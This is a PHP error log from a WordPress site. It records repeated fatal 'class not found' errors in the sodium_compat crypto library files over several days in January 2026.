[04-Jan-2026 10:11:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[04-Jan-2026 10:11:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[04-Jan-2026 10:11:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[04-Jan-2026 10:11:22 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[04-Jan-2026 10:11:28 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[04-Jan-2026 10:11:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[04-Jan-2026 10:11:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[04-Jan-2026 10:11:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[04-Jan-2026 10:11:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[04-Jan-2026 10:11:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[04-Jan-2026 10:11:34 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[04-Jan-2026 10:11:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[04-Jan-2026 10:11:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[04-Jan-2026 10:11:35 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[04-Jan-2026 10:20:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[04-Jan-2026 10:20:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[04-Jan-2026 10:20:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[04-Jan-2026 10:20:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[04-Jan-2026 10:20:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[04-Jan-2026 10:20:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[04-Jan-2026 10:20:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[04-Jan-2026 10:20:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[04-Jan-2026 10:20:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[04-Jan-2026 10:20:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[04-Jan-2026 10:20:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[04-Jan-2026 10:20:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[04-Jan-2026 10:20:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[04-Jan-2026 10:20:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[04-Jan-2026 10:20:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[04-Jan-2026 10:20:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[05-Jan-2026 18:36:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[05-Jan-2026 18:36:03 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[05-Jan-2026 18:36:04 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[05-Jan-2026 18:36:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[05-Jan-2026 18:36:06 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[05-Jan-2026 18:36:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[05-Jan-2026 18:36:07 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[05-Jan-2026 18:36:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[05-Jan-2026 18:36:09 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[05-Jan-2026 18:36:10 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[05-Jan-2026 18:36:11 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[05-Jan-2026 18:36:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[05-Jan-2026 18:36:13 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[05-Jan-2026 18:36:14 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[05-Jan-2026 18:36:15 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[05-Jan-2026 18:36:16 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[06-Jan-2026 01:23:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[06-Jan-2026 01:23:17 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[06-Jan-2026 01:23:18 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[06-Jan-2026 01:23:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[06-Jan-2026 01:23:24 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[06-Jan-2026 01:23:28 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[06-Jan-2026 01:23:36 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[06-Jan-2026 01:23:37 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[06-Jan-2026 01:23:39 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[06-Jan-2026 01:23:40 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[06-Jan-2026 01:23:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[06-Jan-2026 01:23:44 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[06-Jan-2026 01:23:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[06-Jan-2026 01:23:48 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[06-Jan-2026 01:23:49 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[06-Jan-2026 01:23:50 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[06-Jan-2026 01:35:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[06-Jan-2026 01:35:01 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS256.php on line 10
[06-Jan-2026 01:35:02 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php:14
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AES.php on line 14
[06-Jan-2026 01:35:05 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/BLAKE2b.php on line 12
[06-Jan-2026 01:35:08 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/ChaCha20.php on line 10
[06-Jan-2026 01:35:11 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[06-Jan-2026 01:35:19 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519_H' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php:16
Stack trace:
#0 /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ed25519.php(7): require_once()
#1 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Curve25519.php on line 16
[06-Jan-2026 01:35:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
[06-Jan-2026 01:35:20 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[06-Jan-2026 01:35:21 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[06-Jan-2026 01:35:26 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Ed25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php:6
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Ristretto255.php on line 6
[06-Jan-2026 01:35:27 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[06-Jan-2026 01:35:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[06-Jan-2026 01:35:31 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[06-Jan-2026 01:35:32 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[06-Jan-2026 01:35:33 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HSalsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XSalsa20.php on line 10
[07-Jan-2026 04:24:28 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Curve25519' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/X25519.php on line 10
[07-Jan-2026 04:24:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_HChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/XChaCha20.php on line 10
[07-Jan-2026 04:24:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Salsa20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HSalsa20.php on line 10
[07-Jan-2026 04:24:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Poly1305.php on line 10
[07-Jan-2026 04:24:29 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php:12
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/SipHash.php on line 12
[07-Jan-2026 04:24:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_AES' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/AEGIS128L.php on line 10
[07-Jan-2026 04:24:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_Util' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/Salsa20.php on line 10
[07-Jan-2026 04:24:30 UTC] PHP Fatal error:  Uncaught Error: Class 'ParagonIE_Sodium_Core_ChaCha20' not found in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php:10
Stack trace:
#0 {main}
  thrown in /home/antiaginglove/public_html/wp-includes/sodium_compat/src/Core/HChaCha20.php on line 10
